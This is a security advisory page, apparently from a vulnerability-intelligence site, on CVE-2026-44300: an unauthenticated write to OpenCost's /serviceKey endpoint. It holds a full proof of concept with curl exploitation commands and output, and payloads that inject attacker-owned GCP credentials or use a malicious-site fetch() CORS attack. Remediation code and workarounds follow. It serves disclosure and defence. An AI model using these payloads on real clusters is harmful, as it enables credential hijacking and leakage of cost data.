Kubernetes
CVE-2026-44300
HIGH
Lifecycle Timeline
3DescriptionCVE.org
Summary
OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
---
Affected Versions
- OpenCost: All versions up to and including the latest release
- Vulnerable File:
pkg/costmodel/router.go(lines 365-379) - Vulnerable Endpoint:
POST /serviceKey
---
Vulnerability Details
Root Cause
The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation
k := []byte(key)
err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
if err != nil {
fmt.Fprintf(w, "Error writing service key: %s", err)
}
w.WriteHeader(http.StatusOK)
}File Path Determination (core/pkg/env/core.go):
func GetGCPAuthSecretFilePath() string {
return GetPathFromConfig("key.json")
}
func GetPathFromConfig(fileName string) string {
return filepath.Join(GetConfigPath(), fileName)
}
func GetConfigPath() string {
return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}Security Issues
- No Authentication: Any network-accessible client can invoke the endpoint
- No Input Validation: User input is not validated as a valid GCP service account key
- Overly Permissive CORS:
Access-Control-Allow-Origin: *allows cross-origin attacks - Predictable File Path: File location controlled by
CONFIG_PATHenvironment variable
---
Proof of Concept
Environment Setup
Prerequisites
- Kubernetes cluster (tested on kind v1.30.0)
- Helm 3.x
- kubectl configured
Step 1: Create Namespace
kubectl create namespace opencostOutput:
namespace/opencost createdStep 2: Add OpenCost Helm Repository
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo updateOutput:
"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!Step 3: Deploy OpenCost
helm install opencost opencost/opencost --namespace opencost \
--set opencost.exporter.defaultClusterId=test-cluster \
--set opencost.prometheus.internal.enabled=true \
--set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
--set opencost.prometheus.internal.namespaceName=monitoring \
--set opencost.prometheus.internal.port=9090 \
--set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'Key Configuration:
CONFIG_PATH=/tmp: Sets writable directory for file operations
Output:
NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1Step 4: Verify Deployment
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencostOutput:
NAME READY STATUS RESTARTS AGE
opencost-db97bbcc-5q8cb 2/2 Running 0 44sStep 5: Verify Service Accessibility
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
curl -v http://opencost.opencost.svc.cluster.local:9003/healthzOutput:
< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0Exploitation
Step 6: Check Initial State
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.jsonOutput:
cat: can't open '/tmp/key.json': No such file or directoryNote: File does not exist initially
Step 7: Verify CONFIG_PATH Configuration
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATHOutput:
CONFIG_PATH=/tmpNote: CONFIG_PATH correctly set to /tmp
Step 8: Execute Exploit
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${MALICIOUS_CONTENT}" \
-vRequest Details:
> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244Response Details:
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0Result: HTTP 200 OK - Request successful without authentication
Step 9: Verify File Write
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.jsonOutput:
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
---
Impact Analysis
Direct Impact
| Impact Type | Severity | Description |
|---|---|---|
| Unauthorized Credential Overwrite | High | Attacker can overwrite GCP service account key file content |
| No Authentication Required | High | Vulnerability can be exploited without any credentials |
| CORS Misconfiguration | Medium | Allows cross-origin attacks via malicious websites |
| Fixed File Path | Low | Attacker cannot control write location, only content |
Attack Scenario Analysis
Scenario 1: GCP Credential Overwrite Leading to Service Disruption
Attack Steps:
- Attacker sends POST request with invalid JSON or malformed GCP key
/serviceKeyendpoint accepts request and overwrites existingkey.jsonfile- OpenCost attempts to access GCP API with corrupted credentials
- GCP integration fails, cost data collection stops
Technical Details:
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
-d 'key={"invalid":"json","corrupted":"credentials"}'Impact:
- Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
- Operational Impact: FinOps processes dependent on cost data are blocked
- Availability Degradation: Manual intervention required to restore correct credentials
CVSS Impact Score: Availability impact is Low (A:L)
---
Scenario 2: Malicious Credential Injection for Data Hijacking
Attack Steps:
- Attacker creates their own GCP project and service account
- Injects attacker-controlled valid GCP credentials into OpenCost
- OpenCost uses attacker's credentials to send requests to GCP Billing API
- Target organization's cost data is sent to attacker's GCP project
Technical Details:
# Inject attacker credentials
ATTACKER_KEY='{
"type": "service_account",
"project_id": "attacker-billing-project",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'
curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"Impact:
- Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
- Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
- Compliance Risk: Cost data may contain protected business information
Data Leakage Examples:
- Kubernetes cluster size and node configuration
- Resource consumption per namespace (can map to business units)
- Cloud service usage patterns (databases, storage, compute instance types)
- Cost trends (can infer business growth or contraction)
CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High
---
Scenario 3: Cross-Origin Attack (CORS Exploitation)
Attack Steps:
- User visits attacker-controlled malicious website
- Malicious JavaScript sends POST request to
http://localhost:9003/serviceKey - Due to CORS set to
*, browser allows cross-origin request - User's browser acts as proxy to execute credential overwrite attack
Prerequisites:
- User exposes OpenCost service via
kubectl port-forwardor other means - User's browser can access OpenCost endpoint
Technical Details:
// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'key={"type":"malicious"}'
});Impact:
- User-Unaware Attack: No active user interaction required
- Difficult to Trace: Attack originates from victim's IP address
- Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network
---
Vulnerability Limitations
What Attacker Cannot Control:
- File Write Path: Fixed by
CONFIG_PATHenvironment variable, attacker cannot modify - File Name: Fixed as
key.json, cannot write to other files - File Permissions: Write permission is
0644, attacker cannot escalate
Actual Attack Capabilities:
- File Content Control: Complete control over
key.jsoncontent - Unauthenticated Exploitation: No credentials required to trigger
- Remote Accessibility: Can be exploited over network (if service exposed)
---
Real-World Impact Assessment
| Deployment Scenario | Risk Level | Description |
|---|---|---|
| Cluster-Internal Only | Medium | Requires attacker to have cluster network access |
| Exposed via Ingress | High | Any internet user can exploit |
| Exposed via NodePort | High | Attackers with node network access can exploit |
| Via port-forward | Medium-High | Local dev environments vulnerable to CORS attacks |
Recommended Risk Rating:
- Default deployment (cluster-internal): Medium
- Improperly exposed (public internet): High
---
Remediation
Immediate Actions (P0)
1. Add Authentication
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
// Add authentication check
if !a.isAuthorized(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... existing logic
}2. Implement Input Validation
func validateServiceKey(key string) error {
var keyData map[string]interface{}
if err := json.Unmarshal([]byte(key), &keyData); err != nil {
return fmt.Errorf("invalid JSON format")
}
requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
for _, field := range requiredFields {
if _, ok := keyData[field]; !ok {
return fmt.Errorf("missing required field: %s", field)
}
}
if keyData["type"] != "service_account" {
return fmt.Errorf("invalid key type")
}
return nil
}3. Restrict CORS
w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))Long-term Solutions (P1)
- Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
- Implement RBAC: Role-based access control for sensitive operations
- Add Audit Logging: Log all file write operations
- Apply Least Privilege: Minimize ClusterRole permissions
---
Workarounds
Until a patch is available, implement these mitigations:
- Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
- Disable Endpoint: Remove or disable the
/serviceKeyendpoint if not required - Monitor File Changes: Alert on modifications to
key.jsonfile - Use Read-only Filesystem: Mount config directory as read-only where possible
---
References
- Vulnerable Code:
pkg/costmodel/router.go:365-379 - Environment Configuration:
core/pkg/env/core.go - OWASP: Broken Access Control
- CWE-306: Missing Authentication for Critical Function
- CWE-20: Improper Input Validation
Articles & Coverage 1
AnalysisAI
Unauthenticated arbitrary file write in OpenCost (all versions up to and including releases before 1.119.1) lets remote clients POST to the /serviceKey endpoint and overwrite the GCP service account key file (key.json) with attacker-controlled content, with no authentication and no input validation. An attacker can either corrupt the credential file to break GCP cost collection or inject their own valid service-account key to redirect the target's billing/cost data to an attacker-owned GCP project. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Recommended ActionAI
Within 24 hours: restrict network access to OpenCost instances and block all unauthenticated traffic to the /serviceKey endpoint using firewall rules or WAF; audit the key.json file for unauthorized modifications. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-20 – Improper Input Validation
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-wmj8-9953-vff5